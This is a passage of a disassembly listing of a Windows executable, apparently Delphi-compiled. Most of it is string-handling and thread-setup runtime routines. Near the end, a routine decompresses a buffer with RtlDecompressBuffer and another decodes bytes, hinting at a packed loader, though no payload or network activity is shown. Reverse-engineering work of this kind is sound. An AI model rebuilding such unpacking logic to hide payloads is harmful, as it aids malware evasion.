loc_401758:				; CODE XREF: sub_401734+8j
		inc	dword ptr [edx-8]


loc_40175B:				; CODE XREF: sub_401734+2j
					; sub_401734+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_401774
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401774
		dec	dword ptr [edx-8]
		jnz	short locret_401774
		lea	eax, [edx-8]
		call	sub_4010E8

locret_401774:				; CODE XREF: sub_401734+2Bj
					; sub_401734+31j ...
		retn
sub_401734	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401778	proc near		; CODE XREF: sub_401734+Fp
					; sub_4017A4+Bp ...
		test	eax, eax
		jle	short loc_4017A0
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4010D0
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_4017A0:				; CODE XREF: sub_401778+2j
		xor	eax, eax
		retn
sub_401778	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017A4	proc near		; CODE XREF: sub_401360+2Fp
					; sub_4017D4+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_401778
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_4017C5
		mov	edx, eax
		mov	eax, esi
		call	sub_4011B4


loc_4017C5:				; CODE XREF: sub_4017A4+16j
		mov	eax, ebx
		call	sub_4016E0
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4017A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017D4	proc near		; CODE XREF: sub_401E0C+90p
					; sub_401F5C+53p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_4017A4
		pop	edx
		retn
sub_4017D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017E4	proc near		; CODE XREF: sub_403650+33p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_4017A4
sub_4017E4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4017F0	proc near		; CODE XREF: sub_403990+66p
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_4017FD
		not	ecx


loc_4017FD:				; CODE XREF: sub_4017F0+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_4017A4
sub_4017F0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401808	proc near		; CODE XREF: sub_401F5C+2Ap
					; sub_4036BC+12p ...
		test	eax, eax
		jz	short locret_40180F
		mov	eax, [eax-4]

locret_40180F:				; CODE XREF: sub_401808+2j
		retn
sub_401808	endp


; =============== S U B	R O U T	I N E =======================================



sub_401810	proc near		; CODE XREF: sub_401E0C+9Ap
					; sub_401F5C+5Ep ...
		test	edx, edx
		jz	short locret_401853
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_401734
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_401848
		call	sub_401A20
		mov	eax, esi
		mov	ecx, [esi-4]


loc_40183B:				; CODE XREF: sub_401810+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4011B4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401848:				; CODE XREF: sub_401810+1Fj
		call	sub_401A20
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_40183B
; ---------------------------------------------------------------------------

locret_401853:				; CODE XREF: sub_401810+2j
		retn
sub_401810	endp


; =============== S U B	R O U T	I N E =======================================



sub_401854	proc near		; CODE XREF: sub_4036BC+55p
					; sub_403EB5+E0p
		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40186B
		cmp	[eax], ecx
		jnz	short loc_40186B
		mov	edi, eax


loc_40186B:				; CODE XREF: sub_401854+Fj
					; sub_401854+13j
		xor	eax, eax


loc_40186D:				; CODE XREF: sub_401854+2Bj
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40187E
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_40187E
		xor	edi, edi


loc_40187E:				; CODE XREF: sub_401854+1Fj
					; sub_401854+26j
		dec	edx
		jnz	short loc_40186D
		test	edi, edi
		jz	short loc_401899
		mov	edx, eax
		mov	eax, edi
		mov	esi, [edi]
		mov	esi, [esi-4]
		call	sub_401A20
		push	edi
		add	esi, [edi]
		dec	ebx
		jmp	short loc_4018A1
; ---------------------------------------------------------------------------


loc_401899:				; CODE XREF: sub_401854+2Fj
		call	sub_401778
		push	eax
		mov	esi, eax


loc_4018A1:				; CODE XREF: sub_401854+43j
					; sub_401854+62j
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_4018B5
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_4011B4


loc_4018B5:				; CODE XREF: sub_401854+55j
		dec	ebx
		jnz	short loc_4018A1
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_4018CA
		test	edx, edx
		jz	short loc_4018C5
		dec	dword ptr [edx-8]


loc_4018C5:				; CODE XREF: sub_401854+6Cj
		call	sub_401734


loc_4018CA:				; CODE XREF: sub_401854+68j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_401854	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018D8	proc near		; CODE XREF: sub_403990+8Bp
					; sub_403990+CAp
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_401976
		test	esi, esi
		jz	short loc_401953
		test	edi, edi
		jz	short loc_40195A
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_4018FB
		add	edx, eax


loc_4018FB:				; CODE XREF: sub_4018D8+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_401927


loc_401901:				; CODE XREF: sub_4018D8+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_401961
		dec	edx
		jz	short loc_401921
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_401961
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_401901
		jmp	short loc_401927
; ---------------------------------------------------------------------------


loc_401921:				; CODE XREF: sub_4018D8+32j
		add	esi, 4
		add	edi, 4


loc_401927:				; CODE XREF: sub_4018D8+27j
					; sub_4018D8+47j
		pop	edx
		and	edx, 3
		jz	short loc_40194F
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_401976
		dec	edx
		jz	short loc_40194F
		cmp	ch, bh
		jnz	short loc_401976
		dec	edx
		jz	short loc_40194F
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_401976


loc_40194F:				; CODE XREF: sub_4018D8+53j
					; sub_4018D8+5Ej ...
		add	eax, eax
		jmp	short loc_401976
; ---------------------------------------------------------------------------


loc_401953:				; CODE XREF: sub_4018D8+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_401976
; ---------------------------------------------------------------------------


loc_40195A:				; CODE XREF: sub_4018D8+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_401976
; ---------------------------------------------------------------------------


loc_401961:				; CODE XREF: sub_4018D8+2Fj
					; sub_4018D8+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_401976
		cmp	ch, bh
		jnz	short loc_401976
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_401976
		cmp	ch, bh


loc_401976:				; CODE XREF: sub_4018D8+9j
					; sub_4018D8+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4018D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40197C	proc near		; CODE XREF: sub_401D4C+Fp
					; sub_401E0C+14p ...
		test	eax, eax
		jz	short locret_401989
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_401989
		inc	dword ptr [eax-8]

locret_401989:				; CODE XREF: sub_40197C+2j
					; sub_40197C+8j
		retn
sub_40197C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40198C	proc near		; CODE XREF: sub_401FF4+51p
					; sub_401FF4+75p ...
		test	eax, eax
		jz	short loc_401992
		retn
; ---------------------------------------------------------------------------
byte_401991	db 0			; DATA XREF: sub_40198C:loc_401992o
; ---------------------------------------------------------------------------


loc_401992:				; CODE XREF: sub_40198C+2j
		mov	eax, offset byte_401991
		retn
sub_40198C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401998	proc near		; CODE XREF: sub_4019D8j
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_4019D5
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_4019D5
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_401778
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4011B4
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_4019D2
		dec	dword ptr [eax-8]
		jnz	short loc_4019D2
		lea	eax, [eax-8]
		call	sub_4010E8


loc_4019D2:				; CODE XREF: sub_401998+2Bj
					; sub_401998+30j
		mov	edx, [ebx]
		pop	ebx


loc_4019D5:				; CODE XREF: sub_401998+4j
					; sub_401998+Aj
		mov	eax, edx
		retn
sub_401998	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019D8	proc near		; CODE XREF: sub_401D4C+34p
					; sub_401D4C+67p ...
		jmp	sub_401998
sub_4019D8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4019E0	proc near		; CODE XREF: sub_403990+7Bp
					; sub_403990+BAp

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_401A12
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_401A12
		dec	edx
		jl	short loc_401A0A
		cmp	edx, ebx
		jge	short loc_401A12


loc_4019F3:				; CODE XREF: sub_4019E0+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_401A12
		cmp	ecx, ebx
		jg	short loc_401A0E


loc_4019FD:				; CODE XREF: sub_4019E0+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_4017A4
		jmp	short loc_401A1B
; ---------------------------------------------------------------------------


loc_401A0A:				; CODE XREF: sub_4019E0+Dj
		xor	edx, edx
		jmp	short loc_4019F3
; ---------------------------------------------------------------------------


loc_401A0E:				; CODE XREF: sub_4019E0+1Bj
		mov	ecx, ebx
		jmp	short loc_4019FD
; ---------------------------------------------------------------------------


loc_401A12:				; CODE XREF: sub_4019E0+3j
					; sub_4019E0+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_4016E0


loc_401A1B:				; CODE XREF: sub_4019E0+28j
		pop	ebx
		retn	4
sub_4019E0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401A20	proc near		; CODE XREF: sub_401214+7Fp
					; sub_401810+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_401A75
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_401A56
		cmp	dword ptr [eax-8], 1
		jnz	short loc_401A56
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_401100
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_401A7E
; ---------------------------------------------------------------------------


loc_401A56:				; CODE XREF: sub_401A20+11j
					; sub_401A20+17j
		mov	eax, edx
		call	sub_401778
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_401A75
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_401A70
		mov	ecx, esi


loc_401A70:				; CODE XREF: sub_401A20+4Cj
		call	sub_4011B4


loc_401A75:				; CODE XREF: sub_401A20+Bj
					; sub_401A20+43j
		mov	eax, ebx
		call	sub_4016E0
		mov	[ebx], edi


loc_401A7E:				; CODE XREF: sub_401A20+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A20	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A88	proc near		; CODE XREF: CODE:00401A9Fp
					; DATA XREF: sub_401AA8:loc_401AAFo
		mov	al, 10h
		jmp	loc_4011A8
sub_401A88	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_401A90:				; DATA XREF: sub_401AA8+14o
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_401AA4
		sub	ax, 8
		jz	short locret_401AA4
		call	sub_401A88

locret_401AA4:				; CODE XREF: CODE:00401A97j
					; CODE:00401A9Dj
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AA8	proc near		; CODE XREF: CODE:00401B65p
		mov	edx, offset dword_40605C
		xor	eax, eax


loc_401AAF:				; CODE XREF: sub_401AA8+12j
		mov	dword ptr [edx+eax*4], offset sub_401A88
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_401AAF
		mov	eax, offset loc_401A90
		mov	ds:dword_40605C, eax
		retn
sub_401AA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AC8	proc near		; DATA XREF: CODE:00401B5Bo
		mov	al, 11h
		jmp	loc_4011A8
sub_401AC8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401AD0	proc near		; CODE XREF: sub_401C10+5p
		mov	edx, ds:dword_40500C
		mov	[eax], edx
		mov	ds:dword_40500C, eax
		retn
sub_401AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401AE0	proc near		; CODE XREF: sub_4015F8+66p
					; DATA XREF: DATA:off_405014o
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ds:dword_405010
		test	ebx, ebx
		jz	short loc_401AFA


loc_401AEE:				; CODE XREF: sub_401AE0+18j
		mov	eax, [esi+4]
		call	dword ptr [ebx+4]
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_401AEE


loc_401AFA:				; CODE XREF: sub_401AE0+Cj
		pop	esi
		pop	ebx
		retn
sub_401AE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401B3C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_406024
		jnz	short loc_401B2E
		cmp	ds:dword_406058, 0
		jz	short loc_401B28
		call	ds:dword_406058


loc_401B28:				; CODE XREF: CODE:00401B20j
		call	ds:off_405024


loc_401B2E:				; CODE XREF: CODE:00401B17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401B43


loc_401B3B:				; CODE XREF: CODE:00401B41j
		retn
; ---------------------------------------------------------------------------


loc_401B3C:				; DATA XREF: CODE:00401B06o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401B3B
; ---------------------------------------------------------------------------


loc_401B43:				; CODE XREF: CODE:loc_401B3Bj
					; DATA XREF: CODE:00401B36o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_406024, 1
		jnb	short locret_401B74
		call	GetProcessHeap
		mov	ds:hHeap, eax
		mov	ds:dword_406000, offset	sub_401AC8
		call	sub_401AA8
		call	GetCurrentThreadId
		mov	ds:dword_406018, eax

locret_401B74:				; CODE XREF: CODE:00401B4Fj
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B78	proc near		; CODE XREF: sub_401B8C+21p
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc
		retn
sub_401B78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B84	proc near		; CODE XREF: sub_401B8C+1p
		mov	eax, 4
		retn
sub_401B84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B8C	proc near		; CODE XREF: sub_401BD0:loc_401BEAp
		push	ebx
		call	sub_401B84
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_401BCE
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_401BAB
		mov	eax, 0E2h
		call	sub_4016D4
; ---------------------------------------------------------------------------


loc_401BAB:				; CODE XREF: sub_401B8C+13j
		mov	eax, ebx
		call	sub_401B78
		test	eax, eax
		jnz	short loc_401BC2
		mov	eax, 0E2h
		call	sub_4016D4
; ---------------------------------------------------------------------------
		jmp	short loc_401BCE
; ---------------------------------------------------------------------------


loc_401BC2:				; CODE XREF: sub_401B8C+28j
		push	eax		; lpTlsValue
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsSetValue


loc_401BCE:				; CODE XREF: sub_401B8C+Aj
					; sub_401B8C+34j
		pop	ebx
		retn
sub_401B8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BD0	proc near		; CODE XREF: sub_40115C+20p
		mov	cl, ds:byte_406108
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_401C05
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_401BEA:				; CODE XREF: sub_401BD0+3Dj
		call	sub_401B8C
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsGetValue
		test	eax, eax
		jz	short loc_401BFF
		retn
; ---------------------------------------------------------------------------


loc_401BFF:				; CODE XREF: sub_401BD0+2Cj
		mov	eax, ds:dword_40611C
		retn
; ---------------------------------------------------------------------------


loc_401C05:				; CODE XREF: sub_401BD0+Dj
		push	eax		; dwTlsIndex
		call	TlsGetValue
		test	eax, eax
		jz	short loc_401BEA
		retn
sub_401BD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C10	proc near		; CODE XREF: sub_401C1C+2Ep
		mov	eax, offset dword_405058
		call	sub_401AD0
		retn
sub_401C10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C1C	proc near		; CODE XREF: start+14p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0		; lpModuleName
		call	GetModuleHandleA
		mov	ds:dword_406114, eax
		mov	eax, ds:dword_406114
		mov	ds:dword_40505C, eax
		xor	eax, eax
		mov	ds:dword_405060, eax
		xor	eax, eax
		mov	ds:dword_405064, eax
		call	sub_401C10
		mov	edx, offset dword_405058
		mov	eax, ebx
		call	sub_40158C
		pop	ebx
		retn
sub_401C1C	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401C85
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_406118
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401C8C


loc_401C84:				; CODE XREF: CODE:00401C8Aj
		retn
; ---------------------------------------------------------------------------


loc_401C85:				; DATA XREF: CODE:00401C66o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401C84
; ---------------------------------------------------------------------------


loc_401C8C:				; CODE XREF: CODE:loc_401C84j
					; DATA XREF: CODE:00401C7Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_406118, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401CBD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_406120
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401CC4


loc_401CBC:				; CODE XREF: CODE:00401CC2j
		retn
; ---------------------------------------------------------------------------


loc_401CBD:				; DATA XREF: CODE:00401C9Eo
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401CBC
; ---------------------------------------------------------------------------


loc_401CC4:				; CODE XREF: CODE:loc_401CBCj
					; DATA XREF: CODE:00401CB7o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_406120, 1
		retn
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA_0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401D25
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_406124
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401D2C


loc_401D24:				; CODE XREF: CODE:00401D2Aj
		retn
; ---------------------------------------------------------------------------


loc_401D25:				; DATA XREF: CODE:00401D06o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401D24
; ---------------------------------------------------------------------------


loc_401D2C:				; CODE XREF: CODE:loc_401D24j
					; DATA XREF: CODE:00401D1Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_406124, 1
		retn
; [00000006 BYTES: COLLAPSED FUNCTION RtlDecompressBuffer. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D40	proc near		; CODE XREF: sub_401D4C+25p
					; sub_401E0C+31p ...
		test	eax, eax
		jz	short locret_401D49
		sub	eax, 4
		mov	eax, [eax]

locret_401D49:				; CODE XREF: sub_401D40+2j
		retn
sub_401D40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D4C	proc near		; CODE XREF: sub_403EB5+168p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_40197C
		xor	eax, eax
		push	ebp
		push	offset loc_401DF9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_401D40
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_401DDC
		lea	eax, [ebp+arg_4]
		call	sub_4019D8
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_401A20
		cmp	dword ptr [edi], 80000h
		jbe	short loc_401DA1
		mov	[ebp+var_8], 2
		jmp	short loc_401DA8
; ---------------------------------------------------------------------------


loc_401DA1:				; CODE XREF: sub_401D4C+4Aj
		mov	[ebp+var_8], 102h


loc_401DA8:				; CODE XREF: sub_401D4C+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_4019D8
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_4019D8
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_401A20
		jmp	short loc_401DE3
; ---------------------------------------------------------------------------


loc_401DDC:				; CODE XREF: sub_401D4C+2Fj
		mov	eax, esi
		call	sub_4016E0


loc_401DE3:				; CODE XREF: sub_401D4C+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401E00


loc_401DF0:				; CODE XREF: sub_401D4C+B2j
		lea	eax, [ebp+arg_4]
		call	sub_4016E0
		retn
; ---------------------------------------------------------------------------


loc_401DF9:				; DATA XREF: sub_401D4C+17o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401DF0
; ---------------------------------------------------------------------------


loc_401E00:				; CODE XREF: sub_401D4C+ACj
					; DATA XREF: sub_401D4C+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_401D4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E0C	proc near		; CODE XREF: sub_403EB5+175p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_40197C
		xor	eax, eax
		push	ebp
		push	offset loc_401ECF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_4016E0
		mov	eax, [ebp+arg_4]
		call	sub_401D40
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_401EB1


loc_401E4F:				; CODE XREF: sub_401E0C+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_401E92
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_401D40
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_401A20
		mov	eax, esi
		call	sub_4019D8
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_4013DC
		inc	ebx
		jmp	short loc_401EAB
; ---------------------------------------------------------------------------


loc_401E92:				; CODE XREF: sub_401E0C+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_4017D4
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_401810


loc_401EAB:				; CODE XREF: sub_401E0C+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_401E4F


loc_401EB1:				; CODE XREF: sub_401E0C+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401ED6


loc_401EBE:				; CODE XREF: sub_401E0C+C8j
		lea	eax, [ebp+var_C]
		call	sub_4016E0
		lea	eax, [ebp+arg_4]
		call	sub_4016E0
		retn
; ---------------------------------------------------------------------------


loc_401ECF:				; DATA XREF: sub_401E0C+1Co
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401EBE
; ---------------------------------------------------------------------------


loc_401ED6:				; CODE XREF: sub_401E0C+C2j
					; DATA XREF: sub_401E0C+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_401E0C	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401F05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_406128
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401F0C


loc_401F04:				; CODE XREF: CODE:00401F0Aj
		retn
; ---------------------------------------------------------------------------


loc_401F05:				; DATA XREF: CODE:00401EE6o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401F04
; ---------------------------------------------------------------------------


loc_401F0C:				; CODE XREF: CODE:loc_401F04j
					; DATA XREF: CODE:00401EFFo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_406128, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F18	proc near		; CODE XREF: sub_401FF4+362p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
